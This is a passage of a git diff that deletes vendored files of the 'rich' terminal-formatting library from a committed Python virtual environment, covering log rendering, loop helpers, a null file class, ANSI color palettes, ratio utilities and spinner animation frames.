Args: - object_ (Any): the object to get the docstring from. - - Returns: - Optional[str]: the processed docstring, or None if no docstring was found. - """ - docs = getdoc(object_) - if docs is None: - return None - docs = cleandoc(docs).strip() - if not self.help: - docs = _first_paragraph(docs) - return escape_control_codes(docs) - - -def get_object_types_mro(obj: Union[object, Type[Any]]) -> Tuple[type, ...]: - """Returns the MRO of an object's class, or of the object itself if it's a class.""" - if not hasattr(obj, "__mro__"): - # N.B. we cannot use `if type(obj) is type` here because it doesn't work with - # some types of classes, such as the ones that use abc.ABCMeta. - obj = type(obj) - return getattr(obj, "__mro__", ()) - - -def get_object_types_mro_as_strings(obj: object) -> Collection[str]: - """ - Returns the MRO of an object's class as full qualified names, or of the object itself if it's a class. - - Examples: - `object_types_mro_as_strings(JSONDecoder)` will return `['json.decoder.JSONDecoder', 'builtins.object']` - """ - return [ - f'{getattr(type_, "__module__", "")}.{getattr(type_, "__qualname__", "")}' - for type_ in get_object_types_mro(obj) - ] - - -def is_object_one_of_types( - obj: object, fully_qualified_types_names: Collection[str] -) -> bool: - """ - Returns `True` if the given object's class (or the object itself, if it's a class) has one of the - fully qualified names in its MRO. - """ - for type_name in get_object_types_mro_as_strings(obj): - if type_name in fully_qualified_types_names: - return True - return False diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py b/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py deleted file mode 100644 index fc16c84437a8a34231c44d3f0a331459ddcb0f34..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_log_render.py +++ /dev/null @@ -1,94 +0,0 @@ -from datetime import datetime -from typing import Iterable, List, Optional, TYPE_CHECKING, Union, Callable - - -from .text import Text, TextType - -if TYPE_CHECKING: - from .console import Console, ConsoleRenderable, RenderableType - from .table import Table - -FormatTimeCallable = Callable[[datetime], Text] - - -class LogRender: - def __init__( - self, - show_time: bool = True, - show_level: bool = False, - show_path: bool = True, - time_format: Union[str, FormatTimeCallable] = "[%x %X]", - omit_repeated_times: bool = True, - level_width: Optional[int] = 8, - ) -> None: - self.show_time = show_time - self.show_level = show_level - self.show_path = show_path - self.time_format = time_format - self.omit_repeated_times = omit_repeated_times - self.level_width = level_width - self._last_time: Optional[Text] = None - - def __call__( - self, - console: "Console", - renderables: Iterable["ConsoleRenderable"], - log_time: Optional[datetime] = None, - time_format: Optional[Union[str, FormatTimeCallable]] = None, - level: TextType = "", - path: Optional[str] = None, - line_no: Optional[int] = None, - link_path: Optional[str] = None, - ) -> "Table": - from .containers import Renderables - from .table import Table - - output = Table.grid(padding=(0, 1)) - output.expand = True - if self.show_time: - output.add_column(style="log.time") - if self.show_level: - output.add_column(style="log.level", width=self.level_width) - output.add_column(ratio=1, style="log.message", overflow="fold") - if self.show_path and path: - output.add_column(style="log.path") - row: List["RenderableType"] = [] - if self.show_time: - log_time = log_time or console.get_datetime() - time_format = time_format or self.time_format - if callable(time_format): - log_time_display = time_format(log_time) - else: - log_time_display = Text(log_time.strftime(time_format)) - if log_time_display == self._last_time and self.omit_repeated_times: - row.append(Text(" " * len(log_time_display))) - else: - row.append(log_time_display) - self._last_time = log_time_display - if self.show_level: - row.append(level) - - row.append(Renderables(renderables)) - if self.show_path and path: - path_text = Text() - path_text.append( - path, style=f"link file://{link_path}" if link_path else "" - ) - if line_no: - path_text.append(":") - path_text.append( - f"{line_no}", - style=f"link file://{link_path}#{line_no}" if link_path else "", - ) - row.append(path_text) - - output.add_row(*row) - return output - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.console import Console - - c = Console() - c.print("[on blue]Hello", justify="right") - c.log("[on blue]hello", justify="right") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_loop.py b/venv/Lib/site-packages/pip/_vendor/rich/_loop.py deleted file mode 100644 index 01c6cafbe53f1fcb12f7b382b2b35e2fd2c69933..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_loop.py +++ /dev/null @@ -1,43 +0,0 @@ -from typing import Iterable, Tuple, TypeVar - -T = TypeVar("T") - - -def loop_first(values: Iterable[T]) -> Iterable[Tuple[bool, T]]: - """Iterate and generate a tuple with a flag for first value.""" - iter_values = iter(values) - try: - value = next(iter_values) - except StopIteration: - return - yield True, value - for value in iter_values: - yield False, value - - -def loop_last(values: Iterable[T]) -> Iterable[Tuple[bool, T]]: - """Iterate and generate a tuple with a flag for last value.""" - iter_values = iter(values) - try: - previous_value = next(iter_values) - except StopIteration: - return - for value in iter_values: - yield False, previous_value - previous_value = value - yield True, previous_value - - -def loop_first_last(values: Iterable[T]) -> Iterable[Tuple[bool, bool, T]]: - """Iterate and generate a tuple with a flag for first and last value.""" - iter_values = iter(values) - try: - previous_value = next(iter_values) - except StopIteration: - return - first = True - for value in iter_values: - yield first, False, previous_value - first = False - previous_value = value - yield first, True, previous_value diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py b/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py deleted file mode 100644 index 6ae05d3e2a901af754b1626d911ebc3c45e22a40..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_null_file.py +++ /dev/null @@ -1,69 +0,0 @@ -from types import TracebackType -from typing import IO, Iterable, Iterator, List, Optional, Type - - -class NullFile(IO[str]): - def close(self) -> None: - pass - - def isatty(self) -> bool: - return False - - def read(self, __n: int = 1) -> str: - return "" - - def readable(self) -> bool: - return False - - def readline(self, __limit: int = 1) -> str: - return "" - - def readlines(self, __hint: int = 1) -> List[str]: - return [] - - def seek(self, __offset: int, __whence: int = 1) -> int: - return 0 - - def seekable(self) -> bool: - return False - - def tell(self) -> int: - return 0 - - def truncate(self, __size: Optional[int] = 1) -> int: - return 0 - - def writable(self) -> bool: - return False - - def writelines(self, __lines: Iterable[str]) -> None: - pass - - def __next__(self) -> str: - return "" - - def __iter__(self) -> Iterator[str]: - return iter([""]) - - def __enter__(self) -> IO[str]: - return self - - def __exit__( - self, - __t: Optional[Type[BaseException]], - __value: Optional[BaseException], - __traceback: Optional[TracebackType], - ) -> None: - pass - - def write(self, text: str) -> int: - return 0 - - def flush(self) -> None: - pass - - def fileno(self) -> int: - return -1 - - -NULL_FILE = NullFile() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py b/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py deleted file mode 100644 index 3c748d33e45bfcdc690ceee490cbb50b516cd2b3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_palettes.py +++ /dev/null @@ -1,309 +0,0 @@ -from .palette import Palette - - -# Taken from https://en.wikipedia.org/wiki/ANSI_escape_code (Windows 10 column) -WINDOWS_PALETTE = Palette( - [ - (12, 12, 12), - (197, 15, 31), - (19, 161, 14), - (193, 156, 0), - (0, 55, 218), - (136, 23, 152), - (58, 150, 221), - (204, 204, 204), - (118, 118, 118), - (231, 72, 86), - (22, 198, 12), - (249, 241, 165), - (59, 120, 255), - (180, 0, 158), - (97, 214, 214), - (242, 242, 242), - ] -) - -# # The standard ansi colors (including bright variants) -STANDARD_PALETTE = Palette( - [ - (0, 0, 0), - (170, 0, 0), - (0, 170, 0), - (170, 85, 0), - (0, 0, 170), - (170, 0, 170), - (0, 170, 170), - (170, 170, 170), - (85, 85, 85), - (255, 85, 85), - (85, 255, 85), - (255, 255, 85), - (85, 85, 255), - (255, 85, 255), - (85, 255, 255), - (255, 255, 255), - ] -) - - -# The 256 color palette -EIGHT_BIT_PALETTE = Palette( - [ - (0, 0, 0), - (128, 0, 0), - (0, 128, 0), - (128, 128, 0), - (0, 0, 128), - (128, 0, 128), - (0, 128, 128), - (192, 192, 192), - (128, 128, 128), - (255, 0, 0), - (0, 255, 0), - (255, 255, 0), - (0, 0, 255), - (255, 0, 255), - (0, 255, 255), - (255, 255, 255), - (0, 0, 0), - (0, 0, 95), - (0, 0, 135), - (0, 0, 175), - (0, 0, 215), - (0, 0, 255), - (0, 95, 0), - (0, 95, 95), - (0, 95, 135), - (0, 95, 175), - (0, 95, 215), - (0, 95, 255), - (0, 135, 0), - (0, 135, 95), - (0, 135, 135), - (0, 135, 175), - (0, 135, 215), - (0, 135, 255), - (0, 175, 0), - (0, 175, 95), - (0, 175, 135), - (0, 175, 175), - (0, 175, 215), - (0, 175, 255), - (0, 215, 0), - (0, 215, 95), - (0, 215, 135), - (0, 215, 175), - (0, 215, 215), - (0, 215, 255), - (0, 255, 0), - (0, 255, 95), - (0, 255, 135), - (0, 255, 175), - (0, 255, 215), - (0, 255, 255), - (95, 0, 0), - (95, 0, 95), - (95, 0, 135), - (95, 0, 175), - (95, 0, 215), - (95, 0, 255), - (95, 95, 0), - (95, 95, 95), - (95, 95, 135), - (95, 95, 175), - (95, 95, 215), - (95, 95, 255), - (95, 135, 0), - (95, 135, 95), - (95, 135, 135), - (95, 135, 175), - (95, 135, 215), - (95, 135, 255), - (95, 175, 0), - (95, 175, 95), - (95, 175, 135), - (95, 175, 175), - (95, 175, 215), - (95, 175, 255), - (95, 215, 0), - (95, 215, 95), - (95, 215, 135), - (95, 215, 175), - (95, 215, 215), - (95, 215, 255), - (95, 255, 0), - (95, 255, 95), - (95, 255, 135), - (95, 255, 175), - (95, 255, 215), - (95, 255, 255), - (135, 0, 0), - (135, 0, 95), - (135, 0, 135), - (135, 0, 175), - (135, 0, 215), - (135, 0, 255), - (135, 95, 0), - (135, 95, 95), - (135, 95, 135), - (135, 95, 175), - (135, 95, 215), - (135, 95, 255), - (135, 135, 0), - (135, 135, 95), - (135, 135, 135), - (135, 135, 175), - (135, 135, 215), - (135, 135, 255), - (135, 175, 0), - (135, 175, 95), - (135, 175, 135), - (135, 175, 175), - (135, 175, 215), - (135, 175, 255), - (135, 215, 0), - (135, 215, 95), - (135, 215, 135), - (135, 215, 175), - (135, 215, 215), - (135, 215, 255), - (135, 255, 0), - (135, 255, 95), - (135, 255, 135), - (135, 255, 175), - (135, 255, 215), - (135, 255, 255), - (175, 0, 0), - (175, 0, 95), - (175, 0, 135), - (175, 0, 175), - (175, 0, 215), - (175, 0, 255), - (175, 95, 0), - (175, 95, 95), - (175, 95, 135), - (175, 95, 175), - (175, 95, 215), - (175, 95, 255), - (175, 135, 0), - (175, 135, 95), - (175, 135, 135), - (175, 135, 175), - (175, 135, 215), - (175, 135, 255), - (175, 175, 0), - (175, 175, 95), - (175, 175, 135), - (175, 175, 175), - (175, 175, 215), - (175, 175, 255), - (175, 215, 0), - (175, 215, 95), - (175, 215, 135), - (175, 215, 175), - (175, 215, 215), - (175, 215, 255), - (175, 255, 0), - (175, 255, 95), - (175, 255, 135), - (175, 255, 175), - (175, 255, 215), - (175, 255, 255), - (215, 0, 0), - (215, 0, 95), - (215, 0, 135), - (215, 0, 175), - (215, 0, 215), - (215, 0, 255), - (215, 95, 0), - (215, 95, 95), - (215, 95, 135), - (215, 95, 175), - (215, 95, 215), - (215, 95, 255), - (215, 135, 0), - (215, 135, 95), - (215, 135, 135), - (215, 135, 175), - (215, 135, 215), - (215, 135, 255), - (215, 175, 0), - (215, 175, 95), - (215, 175, 135), - (215, 175, 175), - (215, 175, 215), - (215, 175, 255), - (215, 215, 0), - (215, 215, 95), - (215, 215, 135), - (215, 215, 175), - (215, 215, 215), - (215, 215, 255), - (215, 255, 0), - (215, 255, 95), - (215, 255, 135), - (215, 255, 175), - (215, 255, 215), - (215, 255, 255), - (255, 0, 0), - (255, 0, 95), - (255, 0, 135), - (255, 0, 175), - (255, 0, 215), - (255, 0, 255), - (255, 95, 0), - (255, 95, 95), - (255, 95, 135), - (255, 95, 175), - (255, 95, 215), - (255, 95, 255), - (255, 135, 0), - (255, 135, 95), - (255, 135, 135), - (255, 135, 175), - (255, 135, 215), - (255, 135, 255), - (255, 175, 0), - (255, 175, 95), - (255, 175, 135), - (255, 175, 175), - (255, 175, 215), - (255, 175, 255), - (255, 215, 0), - (255, 215, 95), - (255, 215, 135), - (255, 215, 175), - (255, 215, 215), - (255, 215, 255), - (255, 255, 0), - (255, 255, 95), - (255, 255, 135), - (255, 255, 175), - (255, 255, 215), - (255, 255, 255), - (8, 8, 8), - (18, 18, 18), - (28, 28, 28), - (38, 38, 38), - (48, 48, 48), - (58, 58, 58), - (68, 68, 68), - (78, 78, 78), - (88, 88, 88), - (98, 98, 98), - (108, 108, 108), - (118, 118, 118), - (128, 128, 128), - (138, 138, 138), - (148, 148, 148), - (158, 158, 158), - (168, 168, 168), - (178, 178, 178), - (188, 188, 188), - (198, 198, 198), - (208, 208, 208), - (218, 218, 218), - (228, 228, 228), - (238, 238, 238), - ] -) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_pick.py b/venv/Lib/site-packages/pip/_vendor/rich/_pick.py deleted file mode 100644 index 4f6d8b2d79406012c5f8bae9c289ed5bf4d179cc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_pick.py +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Optional - - -def pick_bool(*values: Optional[bool]) -> bool: - """Pick the first non-none bool or return the last value. - - Args: - *values (bool): Any number of boolean or None values. - - Returns: - bool: First non-none boolean. - """ - assert values, "1 or more values required" - for value in values: - if value is not None: - return value - return bool(value) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py b/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py deleted file mode 100644 index 5fd5a383d22367f4167731465a12a74a20a8cda4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_ratio.py +++ /dev/null @@ -1,153 +0,0 @@ -from fractions import Fraction -from math import ceil -from typing import cast, List, Optional, Sequence, Protocol - - -class Edge(Protocol): - """Any object that defines an edge (such as Layout).""" - - size: Optional[int] = None - ratio: int = 1 - minimum_size: int = 1 - - -def ratio_resolve(total: int, edges: Sequence[Edge]) -> List[int]: - """Divide total space to satisfy size, ratio, and minimum_size, constraints. - - The returned list of integers should add up to total in most cases, unless it is - impossible to satisfy all the constraints. For instance, if there are two edges - with a minimum size of 20 each and `total` is 30 then the returned list will be - greater than total. In practice, this would mean that a Layout object would - clip the rows that would overflow the screen height. - - Args: - total (int): Total number of characters. - edges (List[Edge]): Edges within total space. - - Returns: - List[int]: Number of characters for each edge. - """ - # Size of edge or None for yet to be determined - sizes = [(edge.size or None) for edge in edges] - - _Fraction = Fraction - - # While any edges haven't been calculated - while None in sizes: - # Get flexible edges and index to map these back on to sizes list - flexible_edges = [ - (index, edge) - for index, (size, edge) in enumerate(zip(sizes, edges)) - if size is None - ] - # Remaining space in total - remaining = total - sum(size or 0 for size in sizes) - if remaining <= 0: - # No room for flexible edges - return [ - ((edge.minimum_size or 1) if size is None else size) - for size, edge in zip(sizes, edges) - ] - # Calculate number of characters in a ratio portion - portion = _Fraction( - remaining, sum((edge.ratio or 1) for _, edge in flexible_edges) - ) - - # If any edges will be less than their minimum, replace size with the minimum - for index, edge in flexible_edges: - if portion * edge.ratio <= edge.minimum_size: - sizes[index] = edge.minimum_size - # New fixed size will invalidate calculations, so we need to repeat the process - break - else: - # Distribute flexible space and compensate for rounding error - # Since edge sizes can only be integers we need to add the remainder - # to the following line - remainder = _Fraction(0) - for index, edge in flexible_edges: - size, remainder = divmod(portion * edge.ratio + remainder, 1) - sizes[index] = size - break - # Sizes now contains integers only - return cast(List[int], sizes) - - -def ratio_reduce( - total: int, ratios: List[int], maximums: List[int], values: List[int] -) -> List[int]: - """Divide an integer total in to parts based on ratios. - - Args: - total (int): The total to divide. - ratios (List[int]): A list of integer ratios. - maximums (List[int]): List of maximums values for each slot. - values (List[int]): List of values - - Returns: - List[int]: A list of integers guaranteed to sum to total. - """ - ratios = [ratio if _max else 0 for ratio, _max in zip(ratios, maximums)] - total_ratio = sum(ratios) - if not total_ratio: - return values[:] - total_remaining = total - result: List[int] = [] - append = result.append - for ratio, maximum, value in zip(ratios, maximums, values): - if ratio and total_ratio > 0: - distributed = min(maximum, round(ratio * total_remaining / total_ratio)) - append(value - distributed) - total_remaining -= distributed - total_ratio -= ratio - else: - append(value) - return result - - -def ratio_distribute( - total: int, ratios: List[int], minimums: Optional[List[int]] = None -) -> List[int]: - """Distribute an integer total in to parts based on ratios. - - Args: - total (int): The total to divide. - ratios (List[int]): A list of integer ratios. - minimums (List[int]): List of minimum values for each slot. - - Returns: - List[int]: A list of integers guaranteed to sum to total. - """ - if minimums: - ratios = [ratio if _min else 0 for ratio, _min in zip(ratios, minimums)] - total_ratio = sum(ratios) - assert total_ratio > 0, "Sum of ratios must be > 0" - - total_remaining = total - distributed_total: List[int] = [] - append = distributed_total.append - if minimums is None: - _minimums = [0] * len(ratios) - else: - _minimums = minimums - for ratio, minimum in zip(ratios, _minimums): - if total_ratio > 0: - distributed = max(minimum, ceil(ratio * total_remaining / total_ratio)) - else: - distributed = total_remaining - append(distributed) - total_ratio -= ratio - total_remaining -= distributed - return distributed_total - - -if __name__ == "__main__": - from dataclasses import dataclass - - @dataclass - class E: - size: Optional[int] = None - ratio: int = 1 - minimum_size: int = 1 - - resolved = ratio_resolve(110, [E(None, 1, 1), E(None, 1, 1), E(None, 1, 1)]) - print(sum(resolved)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py b/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py deleted file mode 100644 index d0bb1fe751677f0ee83fc6bb876ed72443fdcde7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_spinners.py +++ /dev/null @@ -1,482 +0,0 @@ -""" -Spinners are from: -* cli-spinners: - MIT License - Copyright (c) Sindre Sorhus (sindresorhus.com) - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights to - use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of - the Software, and to permit persons to whom the Software is furnished to do so, - subject to the following conditions: - The above copyright notice and this permission notice shall be included - in all copies or substantial portions of the Software. - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, - INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR - PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE - FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, - ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS - IN THE SOFTWARE. -""" - -SPINNERS = { - "dots": { - "interval": 80, - "frames": "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏", - }, - "dots2": {"interval": 80, "frames": "⣾⣽⣻⢿⡿⣟⣯⣷"}, - "dots3": { - "interval": 80, - "frames": "⠋⠙⠚⠞⠖⠦⠴⠲⠳⠓", - }, - "dots4": { - "interval": 80, - "frames": "⠄⠆⠇⠋⠙⠸⠰⠠⠰⠸⠙⠋⠇⠆", - }, - "dots5": { - "interval": 80, - "frames": "⠋⠙⠚⠒⠂⠂⠒⠲⠴⠦⠖⠒⠐⠐⠒⠓⠋", - }, - "dots6": { - "interval": 80, - "frames": "⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠴⠲⠒⠂⠂⠒⠚⠙⠉⠁", - }, - "dots7": { - "interval": 80, - "frames": "⠈⠉⠋⠓⠒⠐⠐⠒⠖⠦⠤⠠⠠⠤⠦⠖⠒⠐⠐⠒⠓⠋⠉⠈", - }, - "dots8": { - "interval": 80, - "frames": "⠁⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠠⠠⠤⠦⠖⠒⠐⠐⠒⠓⠋⠉⠈⠈", - }, - "dots9": {"interval": 80, "frames": "⢹⢺⢼⣸⣇⡧⡗⡏"}, - "dots10": {"interval": 80, "frames": "⢄⢂⢁⡁⡈⡐⡠"}, - "dots11": {"interval": 100, "frames": "⠁⠂⠄⡀⢀⠠⠐⠈"}, - "dots12": { - "interval": 80, - "frames": [ - "⢀⠀", - "⡀⠀", - "⠄⠀", - "⢂⠀", - "⡂⠀", - "⠅⠀", - "⢃⠀", - "⡃⠀", - "⠍⠀", - "⢋⠀", - "⡋⠀", - "⠍⠁", - "⢋⠁", - "⡋⠁", - "⠍⠉", - "⠋⠉", - "⠋⠉", - "⠉⠙", - "⠉⠙", - "⠉⠩", - "⠈⢙", - "⠈⡙", - "⢈⠩", - "⡀⢙", - "⠄⡙", - "⢂⠩", - "⡂⢘", - "⠅⡘", - "⢃⠨", - "⡃⢐", - "⠍⡐", - "⢋⠠", - "⡋⢀", - "⠍⡁", - "⢋⠁", - "⡋⠁", - "⠍⠉", - "⠋⠉", - "⠋⠉", - "⠉⠙", - "⠉⠙", - "⠉⠩", - "⠈⢙", - "⠈⡙", - "⠈⠩", - "⠀⢙", - "⠀⡙", - "⠀⠩", - "⠀⢘", - "⠀⡘", - "⠀⠨", - "⠀⢐", - "⠀⡐", - "⠀⠠", - "⠀⢀", - "⠀⡀", - ], - }, - "dots8Bit": { - "interval": 80, - "frames": "⠀⠁⠂⠃⠄⠅⠆⠇⡀⡁⡂⡃⡄⡅⡆⡇⠈⠉⠊⠋⠌⠍⠎⠏⡈⡉⡊⡋⡌⡍⡎⡏⠐⠑⠒⠓⠔⠕⠖⠗⡐⡑⡒⡓⡔⡕⡖⡗⠘⠙⠚⠛⠜⠝⠞⠟⡘⡙" - "⡚⡛⡜⡝⡞⡟⠠⠡⠢⠣⠤⠥⠦⠧⡠⡡⡢⡣⡤⡥⡦⡧⠨⠩⠪⠫⠬⠭⠮⠯⡨⡩⡪⡫⡬⡭⡮⡯⠰⠱⠲⠳⠴⠵⠶⠷⡰⡱⡲⡳⡴⡵⡶⡷⠸⠹⠺⠻" - "⠼⠽⠾⠿⡸⡹⡺⡻⡼⡽⡾⡿⢀⢁⢂⢃⢄⢅⢆⢇⣀⣁⣂⣃⣄⣅⣆⣇⢈⢉⢊⢋⢌⢍⢎⢏⣈⣉⣊⣋⣌⣍⣎⣏⢐⢑⢒⢓⢔⢕⢖⢗⣐⣑⣒⣓⣔⣕" - "⣖⣗⢘⢙⢚⢛⢜⢝⢞⢟⣘⣙⣚⣛⣜⣝⣞⣟⢠⢡⢢⢣⢤⢥⢦⢧⣠⣡⣢⣣⣤⣥⣦⣧⢨⢩⢪⢫⢬⢭⢮⢯⣨⣩⣪⣫⣬⣭⣮⣯⢰⢱⢲⢳⢴⢵⢶⢷" - "⣰⣱⣲⣳⣴⣵⣶⣷⢸⢹⢺⢻⢼⢽⢾⢿⣸⣹⣺⣻⣼⣽⣾⣿", - }, - "line": {"interval": 130, "frames": ["-", "\\", "|", "/"]}, - "line2": {"interval": 100, "frames": "⠂-–—–-"}, - "pipe": {"interval": 100, "frames": "┤┘┴└├┌┬┐"}, - "simpleDots": {"interval": 400, "frames": [". ", ".. ", "...", " "]}, - "simpleDotsScrolling": { - "interval": 200, - "frames": [". ", ".. ", "...", " ..", " .", " "], - }, - "star": {"interval": 70, "frames": "✶✸✹✺✹✷"}, - "star2": {"interval": 80, "frames": "+x*"}, - "flip": { - "interval": 70, - "frames": "___-``'´-___", - }, - "hamburger": {"interval": 100, "frames": "☱☲☴"}, - "growVertical": { - "interval": 120, - "frames": "▁▃▄▅▆▇▆▅▄▃", - }, - "growHorizontal": { - "interval": 120, - "frames": "▏▎▍▌▋▊▉▊▋▌▍▎", - }, - "balloon": {"interval": 140, "frames": " .oO@* "}, - "balloon2": {"interval": 120, "frames": ".oO°Oo."}, - "noise": {"interval": 100, "frames": "▓▒░"}, - "bounce": {"interval": 120, "frames": "⠁⠂⠄⠂"}, - "boxBounce": {"interval": 120, "frames": "▖▘▝▗"}, - "boxBounce2": {"interval": 100, "frames": "▌▀▐▄"}, - "triangle": {"interval": 50, "frames": "◢◣◤◥"}, - "arc": {"interval": 100, "frames": "◜◠◝◞◡◟"}, - "circle": {"interval": 120, "frames": "◡⊙◠"}, - "squareCorners": {"interval": 180, "frames": "◰◳◲◱"}, - "circleQuarters": {"interval": 120, "frames": "◴◷◶◵"}, - "circleHalves": {"interval": 50, "frames": "◐◓◑◒"}, - "squish": {"interval": 100, "frames": "╫╪"}, - "toggle": {"interval": 250, "frames": "⊶⊷"}, - "toggle2": {"interval": 80, "frames": "▫▪"}, - "toggle3": {"interval": 120, "frames": "□■"}, - "toggle4": {"interval": 100, "frames": "■□▪▫"}, - "toggle5": {"interval": 100, "frames": "▮▯"}, - "toggle6": {"interval": 300, "frames": "ဝ၀"}, - "toggle7": {"interval": 80, "frames": "⦾⦿"}, - "toggle8": {"interval": 100, "frames": "◍◌"}, - "toggle9": {"interval": 100, "frames": "◉◎"}, - "toggle10": {"interval": 100, "frames": "㊂㊀㊁"}, - "toggle11": {"interval": 50, "frames": "⧇⧆"}, - "toggle12": {"interval": 120, "frames": "☗☖"}, - "toggle13": {"interval": 80, "frames": "=*-"}, - "arrow": {"interval": 100, "frames": "←↖↑↗→↘↓↙"}, - "arrow2": { - "interval": 80, - "frames": ["⬆️ ", "↗️ ", "➡️ ", "↘️ ", "⬇️ ", "↙️ ", "⬅️ ", "↖️ "], - }, - "arrow3": { - "interval": 120, - "frames": ["▹▹▹▹▹", "▸▹▹▹▹", "▹▸▹▹▹", "▹▹▸▹▹", "▹▹▹▸▹", "▹▹▹▹▸"], - }, - "bouncingBar": { - "interval": 80, - "frames": [ - "[ ]", - "[= ]", - "[== ]", - "[=== ]", - "[ ===]", - "[ ==]", - "[ =]", - "[ ]", - "[ =]", - "[ ==]", - "[ ===]", - "[====]", - "[=== ]", - "[== ]", - "[= ]", - ], - }, - "bouncingBall": { - "interval": 80, - "frames": [ - "( ● )", - "( ● )", - "( ● )", - "( ● )", - "( ●)", - "( ● )", - "( ● )", - "( ● )", - "( ● )", - "(● )", - ], - }, - "smiley": {"interval": 200, "frames": ["😄 ", "😝 "]}, - "monkey": {"interval": 300, "frames": ["🙈 ", "🙈 ", "🙉 ", "🙊 "]}, - "hearts": {"interval": 100, "frames": ["💛 ", "💙 ", "💜 ", "💚 ", "❤️ "]}, - "clock": { - "interval": 100, - "frames": [ - "🕛 ", - "🕐 ", - "🕑 ", - "🕒 ", - "🕓 ", - "🕔 ", - "🕕 ", - "🕖 ", - "🕗 ", - "🕘 ", - "🕙 ", - "🕚 ", - ], - }, - "earth": {"interval": 180, "frames": ["🌍 ", "🌎 ", "🌏 "]}, - "material": { - "interval": 17, - "frames": [ - "█▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "███▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "████▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "██████▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "██████▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "███████▁▁▁▁▁▁▁▁▁▁▁▁▁", - "████████▁▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "██████████▁▁▁▁▁▁▁▁▁▁", - "███████████▁▁▁▁▁▁▁▁▁", - "█████████████▁▁▁▁▁▁▁", - "██████████████▁▁▁▁▁▁", - "██████████████▁▁▁▁▁▁", - "▁██████████████▁▁▁▁▁", - "▁██████████████▁▁▁▁▁", - "▁██████████████▁▁▁▁▁", - "▁▁██████████████▁▁▁▁", - "▁▁▁██████████████▁▁▁", - "▁▁▁▁█████████████▁▁▁", - "▁▁▁▁██████████████▁▁", - "▁▁▁▁██████████████▁▁", - "▁▁▁▁▁██████████████▁", - "▁▁▁▁▁██████████████▁", - "▁▁▁▁▁██████████████▁", - "▁▁▁▁▁▁██████████████", - "▁▁▁▁▁▁██████████████", - "▁▁▁▁▁▁▁█████████████", - "▁▁▁▁▁▁▁█████████████", - "▁▁▁▁▁▁▁▁████████████", - "▁▁▁▁▁▁▁▁████████████", - "▁▁▁▁▁▁▁▁▁███████████", - "▁▁▁▁▁▁▁▁▁███████████", - "▁▁▁▁▁▁▁▁▁▁██████████", - "▁▁▁▁▁▁▁▁▁▁██████████", - "▁▁▁▁▁▁▁▁▁▁▁▁████████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁██████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", - "█▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", - "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", - "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", - "███▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", - "████▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", - "█████▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "█████▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "██████▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "████████▁▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "█████████▁▁▁▁▁▁▁▁▁▁▁", - "███████████▁▁▁▁▁▁▁▁▁", - "████████████▁▁▁▁▁▁▁▁", - "████████████▁▁▁▁▁▁▁▁", - "██████████████▁▁▁▁▁▁", - "██████████████▁▁▁▁▁▁", - "▁██████████████▁▁▁▁▁", - "▁██████████████▁▁▁▁▁", - 